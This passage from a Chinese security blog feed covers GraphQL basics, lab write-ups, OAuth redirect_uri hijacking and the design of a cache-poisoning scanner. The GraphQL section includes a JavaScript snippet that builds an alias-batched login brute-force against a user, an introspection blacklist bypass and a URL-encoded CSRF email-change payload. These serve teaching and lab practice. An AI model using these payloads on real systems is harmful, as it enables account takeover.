&quot;Flamin&#x27; Cocktail Glasses&quot;, listed: &quot;yes&quot;) &#123;</span><br><span class="line">        id</span><br><span class="line">        name</span><br><span class="line">        listed</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &quot;data&quot;: &#123;</span><br><span class="line">        &quot;createProduct&quot;: &#123;</span><br><span class="line">            &quot;id&quot;: 123,</span><br><span class="line">            &quot;name&quot;: &quot;Flamin&#x27; Cocktail Glasses&quot;,</span><br><span class="line">            &quot;listed&quot;: &quot;yes&quot;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="变量"><a href="#变量" class="headerlink" title="变量"></a>变量</h2><p>graphql是可以设置变量的<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">query getEmployeeWithVariable($id: ID!) &#123;</span><br><span class="line">    getEmployees(id:$id) &#123;</span><br><span class="line">        name &#123;</span><br><span class="line">            firstname</span><br><span class="line">            lastname</span><br><span class="line">        &#125;</span><br><span class="line">     &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Variables:</span><br><span class="line">&#123;</span><br><span class="line">    &quot;id&quot;: 1</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><br>在查询这类操作中一个使用<code>$xx</code>来代表变量然后再Variables字段设置变量的值</p><h2 id="别名"><a href="#别名" class="headerlink" title="别名"></a>别名</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">query getProductDetails &#123;</span><br><span class="line">    product1: getProduct(id: &quot;1&quot;) &#123;</span><br><span class="line">        id</span><br><span class="line">        name</span><br><span class="line">    &#125;</span><br><span class="line">    product2: getProduct(id: &quot;2&quot;) &#123;</span><br><span class="line">        id</span><br><span class="line">        name</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>GraphQL可以设置别名如上面的，设置别名的原因主要是返回的是json，而GraphQL再查询时返回的值会包含查询的名称，如果查询时出现两个相同的就会出现问题于是就有了别名，让其返回两个不同的json key值<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">       &quot;data&quot;: &#123;</span><br><span class="line">           &quot;product1&quot;: &#123;</span><br><span class="line">               &quot;id&quot;: 1,</span><br><span class="line">               &quot;name&quot;: &quot;Juice Extractor&quot;</span><br><span class="line">            &#125;,</span><br><span class="line">           &quot;product2&quot;: &#123;</span><br><span class="line">               &quot;id&quot;: 2,</span><br><span class="line">               &quot;name&quot;: &quot;Fruit Overlays&quot;</span><br><span class="line">           &#125;</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure></p><h2 id="Fragments"><a href="#Fragments" class="headerlink" title="Fragments"></a>Fragments</h2><p>Fragments就是一个定义好的字段组合，再query和mutation时可以直接使用Fragments<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">fragment productInfo on Product &#123;</span><br><span class="line">    id</span><br><span class="line">    name</span><br><span class="line">    listed</span><br><span class="line">&#125;</span><br><span class="line">    query &#123;</span><br><span class="line">    getProduct(id: 1) &#123;</span><br><span class="line">        ...productInfo</span><br><span class="line">        stock</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><h2 id="Subscriptions"><a href="#Subscriptions" class="headerlink" title="Subscriptions"></a>Subscriptions</h2><p>Subscriptions是一种特殊类型的查询。它们使客户端能够与服务器建立长期连接，以便服务器可以将实时更新推送到客户端，而无需持续轮询数据。它们主要用于对大型对象的微小更改以及需要小型实时更新的功能（如聊天系统或协作编辑）。</p><p>与常规查询和突变一样，订阅请求定义要返回的数据的形状。</p><p>订阅通常使用 WebSocket 实现。</p><h2 id="Introspection"><a href="#Introspection" class="headerlink" title="Introspection"></a>Introspection</h2><p>Introspection 是一个内置的 GraphQL 函数，使您能够查询服务器以获取有关架构的信息。它通常由 GraphQL IDE 和文档生成工具等应用程序使用。</p><p>与常规查询一样，您可以指定要返回的响应的字段和结构。例如 您可能希望响应仅包含可用突变的名称。</p><p>内省可能代表严重的信息泄露风险，因为它可用于访问潜在的敏感信息 信息（例如字段描述），并帮助攻击者了解如何与 API 交互。是的 在生产环境中禁用自省的最佳实践。</p><h1 id="图形化界面"><a href="#图形化界面" class="headerlink" title="图形化界面"></a>图形化界面</h1><p><a href="https://apis.guru/graphql-voyager/">https://apis.guru/graphql-voyager/</a></p><h1 id="靶场"><a href="#靶场" class="headerlink" title="靶场"></a>靶场</h1><h2 id="访问私有GraphQL帖子"><a href="#访问私有GraphQL帖子" class="headerlink" title="访问私有GraphQL帖子"></a>访问私有GraphQL帖子</h2><img src="/2025/10/31/GraphQL/IMG_20251101-225214772.png" class="">  <p>一点进去就可以发现GraphQL端点<br><img src="/2025/10/31/GraphQL/IMG_20251101-225318842.png" class=""><br>使用bp自带的功能来进行GraphQL内省<br>我们可以将内省的结果发送到<a href="https://apis.guru/graphql-voyager/进行图形化的查看">https://apis.guru/graphql-voyager/进行图形化的查看</a><br><img src="/2025/10/31/GraphQL/IMG_20251101-225650626.png" class=""><br>可以发现BlogPost是存在postPassword的</p><p>我们可以将这个请求发送到inQL插件这个插件会对内省查询的结果进行分类。并写好查询语句<br><img src="/2025/10/31/GraphQL/IMG_20251101-225538897.png" class=""><br>通过getAllBlogPosts我们可以发现其批量查询的结果中没有id=3的数据<br>我们通过page来搜索运行id为三的内容<br><img src="/2025/10/31/GraphQL/IMG_20251101-225954556.png" class=""><br>发现了</p><h2 id="意外暴露私有GraphQL字段"><a href="#意外暴露私有GraphQL字段" class="headerlink" title="意外暴露私有GraphQL字段"></a>意外暴露私有GraphQL字段</h2><img src="/2025/10/31/GraphQL/IMG_20251101-230553582.png" class="">  <p>可以发现查询用户的查询<br><img src="/2025/10/31/GraphQL/IMG_20251101-230541582.png" class=""><br>直接查询得到了用户密码<br>然后登陆删除账号即可</p><h2 id="查找隐藏的GraphQL端点"><a href="#查找隐藏的GraphQL端点" class="headerlink" title="查找隐藏的GraphQL端点"></a>查找隐藏的GraphQL端点</h2><img src="/2025/10/31/GraphQL/IMG_20251101-231655092.png" class="">  <p>发现一个api<br>发送隔请求发现其返回400告诉我们请求为空<br>这个可能是GraphQL导致的报错我们可以尝试使用GraphQL请求试试<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/api?query=query&#123;__typename&#125;</span><br></pre></td></tr></table></figure><br><img src="/2025/10/31/GraphQL/IMG_20251101-231852953.png" class=""><br>果然存在直接产生内审<br><img src="/2025/10/31/GraphQL/IMG_20251101-231932077.png" class=""><br>发现其加了黑名单其禁止<code>__schema</code>和<code>__type</code><br><img src="/2025/10/31/GraphQL/IMG_20251101-232041963.png" class=""><br>遇到这种情况可以尝试再后面加上换行符进行饶过<br>这个端点只能GET请求，inql的get请求好像有问题。但是没问题可以将其保存为文件如何加载<br><img src="/2025/10/31/GraphQL/IMG_20251101-232543523.png" class=""><br>只有一个查询id和name的和删除用户的、<br><img src="/2025/10/31/GraphQL/IMG_20251101-232930625.png" class=""><br><img src="/2025/10/31/GraphQL/IMG_20251101-233326032.png" class=""><br>input直接输入3会发现报错<code>&#123;value:3&#125;</code>猜测input是一个查询的匹配如id=3 username=xxx这种</p><h2 id="绕过GraphQL暴力保护"><a href="#绕过GraphQL暴力保护" class="headerlink" title="绕过GraphQL暴力保护"></a>绕过GraphQL暴力保护</h2><p>使用GraphQL可以饶过密码爆破的速率限制使用别名来通过一个请求进行多次登陆尝试<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(&#x27;,&#x27;).map((element,index)=&gt;`</span><br><span class="line">bruteforce$index:login(input:&#123;password: &quot;$password&quot;, username: &quot;carlos&quot;&#125;) &#123;</span><br><span class="line">        token</span><br><span class="line">        success</span><br><span class="line">    &#125;</span><br><span class="line">`.replaceAll(&#x27;$index&#x27;,index).replaceAll(&#x27;$password&#x27;,element)).join(&#x27;\n&#x27;));console.log(&quot;The query has been copied to your clipboard.&quot;);</span><br></pre></td></tr></table></figure><br>上面的脚本就是将密码一个个替换到下面的payload中<br>将上面的js脚本再控制台运行就可以将payload复制到剪切板。</p><h2 id="通过GraphQL执行CSRF漏洞"><a href="#通过GraphQL执行CSRF漏洞" class="headerlink" title="通过GraphQL执行CSRF漏洞"></a>通过GraphQL执行CSRF漏洞</h2><p>这是因为GraphQL可能导致不通过csrf_token来进行csrf攻击<br>将json的请求转换为post url的请求<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">query=%0D%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0D%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0D%0A++++++++++++email%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A&amp;operationName=changeEmail&amp;variables=%7B%22input%22%3A%7B%22email%22%3A%22wiener1111%40normal-user.net%22%7D%7D</span><br></pre></td></tr></table></figure><br>如何使用bp转为csrf请求即可实现csrf攻击</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;什么是GraphQL&quot;&gt;&lt;a href=&quot;#什么是GraphQL&quot; class=&quot;headerlink&quot; title=&quot;什么是GraphQL?&quot;&gt;&lt;/a&gt;什么是GraphQL?&lt;/h1&gt;&lt;p&gt;GraphQL 其实就是一种api查询语言,其可以对api端点的数据进行</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>ffuf使用手册</title>
    <link href="https://lisien11.xyz/2025/10/31/ffuf%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/"/>
    <id>https://lisien11.xyz/2025/10/31/ffuf%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/</id>
    <published>2025-10-31T06:17:58.000Z</published>
    <updated>2025-10-31T06:17:58.921Z</updated>
    
    
    
    
    
  </entry>
  
  <entry>
    <title>OAuth2.0认证解析与威胁</title>
    <link href="https://lisien11.xyz/2025/10/27/OAuth2-0%E8%AE%A4%E8%AF%81%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%A8%81%E8%83%81/"/>
    <id>https://lisien11.xyz/2025/10/27/OAuth2-0%E8%AE%A4%E8%AF%81%E8%A7%A3%E6%9E%90%E4%B8%8E%E5%A8%81%E8%83%81/</id>
    <published>2025-10-27T10:26:54.000Z</published>
    <updated>2025-11-19T12:49:48.906Z</updated>
    
    <content type="html"><![CDATA[<h1 id="什么是OAuth2-0认证"><a href="#什么是OAuth2-0认证" class="headerlink" title="什么是OAuth2.0认证"></a>什么是OAuth2.0认证</h1><p>OAuth2.0其实就是第三方登陆的一种授权类型，其给授权流程定义了一个标准。</p><h1 id="Oauth的流程与种类"><a href="#Oauth的流程与种类" class="headerlink" title="Oauth的流程与种类"></a>Oauth的流程与种类</h1><h2 id="隐式"><a href="#隐式" class="headerlink" title="隐式"></a>隐式</h2><h1 id=""><a href="#" class="headerlink" title="#"></a>#</h1><h1 id="-1"><a href="#-1" class="headerlink" title=" "></a> </h1><h1 id="识别OAuth认证与OAuth的攻击注意"><a href="#识别OAuth认证与OAuth的攻击注意" class="headerlink" title="识别OAuth认证与OAuth的攻击注意"></a>识别OAuth认证与OAuth的攻击注意</h1><p>一般Oauth登陆的文章再文件进入时会向授权服务端发送类似如下的请求<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">https://xxxx.xx/auth?client_id=12345&amp;redirect_uri=https://client-app.com/callback&amp;response_type=token&amp;scope=openid%20profile&amp;state=ae13d489bd00e3c24 HTTP/1.1</span><br><span class="line">Host: oauth-authorization-server.com</span><br></pre></td></tr></table></figure><br>当然参数不止有如上的两个还有很多，但是一般都会包含着两个参数<br>再发现服务端时我们可以尝试服务如下路径来尝试查看其配置文件<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/.well-known/oauth-authorization-server</span><br><span class="line">/.well-known/openid-configuration</span><br></pre></td></tr></table></figure></p><h1 id="靶场：通过OAuth隐式流程绕过认证"><a href="#靶场：通过OAuth隐式流程绕过认证" class="headerlink" title="靶场：通过OAuth隐式流程绕过认证"></a>靶场：通过OAuth隐式流程绕过认证</h1><p>其实这个靶场更加类似于idor。<br>首先隐式流程会将中间的session直接返回前端而不是客户端的后端，着导致其任意被浏览器插件之类的劫持，所以相对不安全，目前也没有几个使用隐式流程的Oauth了。</p><h1 id="通过OpenID注册导致的ssrf"><a href="#通过OpenID注册导致的ssrf" class="headerlink" title="通过OpenID注册导致的ssrf"></a>通过OpenID注册导致的ssrf</h1><h1 id="CSRF保护有缺陷"><a href="#CSRF保护有缺陷" class="headerlink" title="CSRF保护有缺陷"></a>CSRF保护有缺陷</h1><h1 id="OAuth账户被redirect-uri劫持"><a href="#OAuth账户被redirect-uri劫持" class="headerlink" title="OAuth账户被redirect_uri劫持"></a>OAuth账户被redirect_uri劫持</h1><p>redirect_uri就是一个重定向标识，当这个标识服务端并没有验证其合法性可以进行篡改时就会造成服务端会将最后的token重定向到攻击者定义的redirect_uri从而造成redirect_uri被篡改。</p><p>这个威胁再绝大多数常见下其实只要被登陆态的用户点击一下就会造成token的劫持。因为登陆态的用户一般都会再浏览器中存储下oauth验证流程的中间session从而自动跳过密码输入，重新生成一个token然后重定向到redirect_uri从而将token泄露。造成1点击账号劫持，如果这个平台是个可以发送帖子的平台且存在iframe表单的html注入那么久会造成0点击账号劫持</p><h2 id="靶场"><a href="#靶场" class="headerlink" title="靶场"></a>靶场</h2><h1 id="通过代理页面窃取代码和访问令牌"><a href="#通过代理页面窃取代码和访问令牌" class="headerlink" title="通过代理页面窃取代码和访问令牌"></a>通过代理页面窃取代码和访问令牌</h1><h2 id="通过开放重定向"><a href="#通过开放重定向" class="headerlink" title="通过开放重定向"></a>通过开放重定向</h2><h2 id="通过xss，html注入等"><a href="#通过xss，html注入等" class="headerlink" title="通过xss，html注入等"></a>通过xss，html注入等</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;什么是OAuth2-0认证&quot;&gt;&lt;a href=&quot;#什么是OAuth2-0认证&quot; class=&quot;headerlink&quot; title=&quot;什么是OAuth2.0认证&quot;&gt;&lt;/a&gt;什么是OAuth2.0认证&lt;/h1&gt;&lt;p&gt;OAuth2.0其实就是第三方登陆的一种授权类型，其</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>缓存劫持扫描器</title>
    <link href="https://lisien11.xyz/2025/10/22/%E7%BC%93%E5%AD%98%E5%8A%AB%E6%8C%81%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
    <id>https://lisien11.xyz/2025/10/22/%E7%BC%93%E5%AD%98%E5%8A%AB%E6%8C%81%E6%89%AB%E6%8F%8F%E5%99%A8/</id>
    <published>2025-10-22T08:20:28.000Z</published>
    <updated>2025-10-27T12:15:40.993Z</updated>
    
    <content type="html"><![CDATA[<h1 id="爬虫模块。"><a href="#爬虫模块。" class="headerlink" title="爬虫模块。"></a>爬虫模块。</h1><p>使用ktana来进行url的主动爬取，深度要可选择，默认就2吧<br>使用gau来被动获取url<br>将获取的所有url丢到下面的缓存检测模块进行检测，并标记上是否缓存进行分类。以方便下面的缓存逻辑检测模块</p><h1 id="缓存检测模块"><a href="#缓存检测模块" class="headerlink" title="缓存检测模块"></a>缓存检测模块</h1><p>对同一个url进行3次请求，当三次中出现了如下的响应头的规范就缓存命中</p><h2 id="cdn"><a href="#cdn" class="headerlink" title="cdn"></a>cdn</h2><p>出现如下响应头时其缓存命中<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">CDN提供商缓存状态响应头字段表示命中的值响应头示例</span><br><span class="line">CloudflareCF-Cache-StatusHITCF-Cache-Status: HIT</span><br><span class="line">AWS CloudFrontX-CacheHit from cloudfrontX-Cache: Hit from cloudfront</span><br><span class="line">AkamaiX-Cache, Server-Timing包含HIT的值X-Cache: TCP_HIT, Server-Timing: cdn-cache; desc=HIT</span><br><span class="line">FastlyX-Cache, X-Served-ByHITX-Cache: HIT, HIT, X-Served-By: cache-hkg17926-HKG</span><br><span class="line">Varnish CacheX-Cache, X-Cache-HitsHITX-Cache: HIT, X-Cache-Hits: 4</span><br><span class="line">Nginx Proxy CacheX-Proxy-Cache, X-CacheHITX-Proxy-Cache: HIT</span><br><span class="line">百度云加速X-CacheHIT from baiducdnX-Cache: HIT from baiducdn</span><br><span class="line">腾讯云CDNX-Cache-Lookup, X-CacheHit From DisktankX-Cache-Lookup: Hit From Disktank</span><br><span class="line">阿里云CDNX-Cache, Ali-Swift-Global-SavetimeHIT from cdnX-Cache: HIT from cdn, Ali-Swift-Global-Savetime: 1700000000</span><br><span class="line">七牛云CDNX-Cache, X-LogHITX-Cache: HIT, X-Log: Qiniu;...</span><br><span class="line">华为云CDNX-Cache, X-Cache-LookupHIT from cacheX-Cache: HIT from cache</span><br><span class="line">网宿CDNX-CacheHIT from wangsuX-Cache: HIT from wangsu</span><br><span class="line">又拍云X-Cache, X-Upyun-Content-LengthHITX-Cache: HIT, X-Upyun-Content-Length: 12345</span><br><span class="line">京东云CDNX-Cache, X-Cache-LookupHit from JDCDNX-Cache-Lookup: Hit from JDCDN</span><br><span class="line">百度智能云X-BD-Cache-StatusHITX-BD-Cache-Status: HIT</span><br><span class="line">Google Global CacheAge, ViaAge &gt; 0Age: 600, Via: 1.1 google</span><br></pre></td></tr></table></figure></p><div class="table-container"><table><thead><tr><th>CDN / 缓存系统</th><th>命中标识字段</th><th>常见取值</th><th>是否命中缓存</th><th>示例响应头</th></tr></thead><tbody><tr><td><strong>Cloudflare</strong></td><td><code>CF-Cache-Status</code></td><td><code>HIT</code> / <code>MISS</code> / <code>EXPIRED</code> / <code>BYPASS</code> / <code>DYNAMIC</code></td><td>✅ <code>HIT</code> 表示命中</td><td><code>CF-Cache-Status: HIT</code><br><code>Age: 523</code></td></tr><tr><td><strong>AWS CloudFront</strong></td><td><code>X-Cache</code></td><td><code>Hit from cloudfront</code> / <code>Miss from cloudfront</code> / <code>Error from cloudfront</code></td><td>✅ <code>Hit from cloudfront</code></td><td><code>X-Cache: Hit from cloudfront</code><br><code>Age: 214</code></td></tr><tr><td><strong>Akamai</strong></td><td><code>X-Cache</code>、<code>Server-Timing</code></td><td><code>TCP_HIT</code> / <code>TCP_MISS</code> / <code>TCP_REFRESH_HIT</code> / <code>TCP_EXPIRED_HIT</code></td><td>✅ 含 <code>HIT</code> 的值均表示命中</td><td><code>X-Cache: TCP_HIT</code><br><code>Server-Timing: cdn-cache; desc=HIT</code></td></tr><tr><td><strong>Fastly</strong></td><td><code>X-Cache</code>、<code>X-Served-By</code></td><td><code>HIT</code> / <code>MISS</code> / <code>PASS</code></td><td>✅ <code>HIT</code></td><td><code>X-Served-By: cache-hkg17926-HKG</code><br><code>X-Cache: HIT, HIT</code></td></tr><tr><td><strong>Varnish Cache</strong></td><td><code>X-Cache</code>、<code>X-Cache-Hits</code>、<code>Via</code></td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT</code><br><code>X-Cache-Hits: 4</code><br><code>Via: 1.1 varnish</code></td></tr><tr><td><strong>Nginx Proxy Cache</strong></td><td><code>X-Proxy-Cache</code>、<code>X-Cache</code></td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code></td><td>✅ <code>HIT</code></td><td><code>X-Proxy-Cache: HIT</code></td></tr><tr><td><strong>百度云加速（Baidu Cloud CDN）</strong></td><td><code>X-Cache</code></td><td><code>HIT from baiducdn</code> / <code>MISS from baiducdn</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT from baiducdn</code></td></tr><tr><td><strong>腾讯云 CDN（Tencent Cloud CDN）</strong></td><td><code>X-Cache-Lookup</code>、<code>X-Cache</code></td><td><code>Hit From Disktank</code> / <code>Miss From Upstream</code> / <code>Bypass</code></td><td>✅ <code>Hit</code></td><td><code>X-Cache-Lookup: Hit From Disktank</code></td></tr><tr><td><strong>阿里云 CDN（Aliyun CDN）</strong></td><td><code>X-Cache</code>、<code>Ali-Swift-Global-Savetime</code></td><td><code>HIT from cdn</code> / <code>MISS from cdn</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT from cdn</code><br><code>Ali-Swift-Global-Savetime: 1700000000</code></td></tr><tr><td><strong>七牛云 CDN（Qiniu CDN）</strong></td><td><code>X-Cache</code>、<code>X-Log</code></td><td><code>HIT</code> / <code>MISS</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT</code><br><code>X-Log: Qiniu;...</code></td></tr><tr><td><strong>华为云 CDN（Huawei Cloud CDN）</strong></td><td><code>X-Cache</code>、<code>X-Cache-Lookup</code></td><td><code>HIT from cache</code> / <code>MISS from origin</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT from cache</code></td></tr><tr><td><strong>网宿 CDN（Wangsu CDN）</strong></td><td><code>X-Cache</code></td><td><code>HIT from wangsu</code> / <code>MISS from wangsu</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT from wangsu</code></td></tr><tr><td><strong>又拍云（UPYUN）</strong></td><td><code>X-Cache</code>、<code>X-Upyun-Content-Length</code></td><td><code>HIT</code> / <code>MISS</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT</code><br><code>X-Upyun-Content-Length: 12345</code></td></tr><tr><td><strong>京东云 CDN（JD Cloud）</strong></td><td><code>X-Cache</code>、<code>X-Cache-Lookup</code></td><td><code>Hit from JDCDN</code> / <code>Miss from Upstream</code></td><td>✅ <code>Hit</code></td><td><code>X-Cache-Lookup: Hit from JDCDN</code></td></tr><tr><td><strong>百度智能云 BOS/CDN</strong></td><td><code>X-BD-Cache-Status</code></td><td><code>HIT</code> / <code>MISS</code> / <code>EXPIRED</code></td><td>✅ <code>HIT</code></td><td><code>X-BD-Cache-Status: HIT</code></td></tr><tr><td><strong>Google Global Cache (GGC)</strong></td><td><code>Age</code> / <code>Via</code></td><td>无特定标志，命中时 <code>Age</code> &gt; 0</td><td>✅ 有 <code>Age</code> 且 &gt; 0</td><td><code>Age: 600</code><br><code>Via: 1.1 google</code></td></tr></tbody></table></div><hr><h2 id="反向代理"><a href="#反向代理" class="headerlink" title="反向代理"></a>反向代理</h2><div class="table-container"><table><thead><tr><th>反向代理系统</th><th>命中标识字段</th><th>可能值</th><th>是否命中</th><th>示例</th></tr></thead><tbody><tr><td><strong>Nginx Proxy Cache</strong></td><td><code>X-Proxy-Cache</code></td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code> / <code>EXPIRED</code></td><td>✅ <code>HIT</code> 表示命中</td><td><code>X-Proxy-Cache: HIT</code></td></tr><tr><td></td><td><code>X-Cache-Status</code>（新版）</td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache-Status: HIT</code></td></tr><tr><td><strong>Varnish Cache</strong></td><td><code>X-Cache</code> / <code>X-Cache-Hits</code> / <code>Via</code></td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code></td><td>✅ <code>X-Cache: HIT</code></td><td><code>X-Cache: HIT</code><br><code>Via: 1.1 varnish</code></td></tr><tr><td><strong>Squid Proxy</strong></td><td><code>X-Cache</code> / <code>X-Cache-Lookup</code></td><td><code>HIT from proxy</code> / <code>MISS from proxy</code></td><td>✅ 包含 <code>HIT</code></td><td><code>X-Cache: HIT from squid</code></td></tr><tr><td><strong>Apache Traffic Server (ATS)</strong></td><td><code>X-Cache</code> / <code>X-Cache-Key</code> / <code>Via</code></td><td><code>HIT</code> / <code>MISS</code> / <code>STALE</code> / <code>REVALIDATED</code></td><td>✅ <code>HIT</code></td><td><code>X-Cache: HIT</code><br><code>Via: http/1.1 ats (ApacheTrafficServer)</code></td></tr><tr><td><strong>LiteSpeed / OpenLiteSpeed</strong></td><td><code>X-LiteSpeed-Cache</code></td><td><code>hit</code> / <code>miss</code> / <code>no-cache</code> / <code>force-recache</code></td><td>✅ <code>hit</code></td><td><code>X-LiteSpeed-Cache: hit</code></td></tr><tr><td><strong>Nginx + FastCGI Cache</strong></td><td><code>X-FastCGI-Cache</code></td><td><code>HIT</code> / <code>MISS</code> / <code>BYPASS</code></td><td>✅ <code>HIT</code></td><td><code>X-FastCGI-Cache: HIT</code></td></tr></tbody></table></div><hr><h1 id="缓存逻辑检测"><a href="#缓存逻辑检测" class="headerlink" title="缓存逻辑检测"></a>缓存逻辑检测</h1><h2 id="1-静态文件缓存逻辑"><a href="#1-静态文件缓存逻辑" class="headerlink" title="1.静态文件缓存逻辑"></a>1.静态文件缓存逻辑</h2><p>有些服务器会将静态后缀文件设置为缓存。<br>直接对传入的url添加a.js,a.css等即发送<a href="https://xxxxxx/a.js或者http://xxxxxxxx/a.js">https://xxxxxx/a.js或者http://xxxxxxxx/a.js</a><br>当缓存命中时则存在静态文件缓存逻辑</p><h2 id="2-分隔符验证"><a href="#2-分隔符验证" class="headerlink" title="2.分隔符验证"></a>2.分隔符验证</h2><p>选择一个不可缓存的路径，可以优先查找login这类动态页面，如果爬取的url中没用则随机选择。注意需要这个页面返回200如果非200换一个，直到200<br>然后对这个url进行如下操作，下面以url为<a href="http://xxxxx/login举例（具体url根据实际情况获取）">http://xxxxx/login举例（具体url根据实际情况获取）</a><br>再url后直接添加一个aa如<a href="http://xxxxx/login变为http://xxxxx/loginaa如果两个页面的返回相同则后端做了强制校验换一个路径">http://xxxxx/login变为http://xxxxx/loginaa如果两个页面的返回相同则后端做了强制校验换一个路径</a><br>当<a href="http://xxxxx/login与http://xxxxx/loginaa不同时，使用如下字典来进行分隔符检测">http://xxxxx/login与http://xxxxx/loginaa不同时，使用如下字典来进行分隔符检测</a><br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span 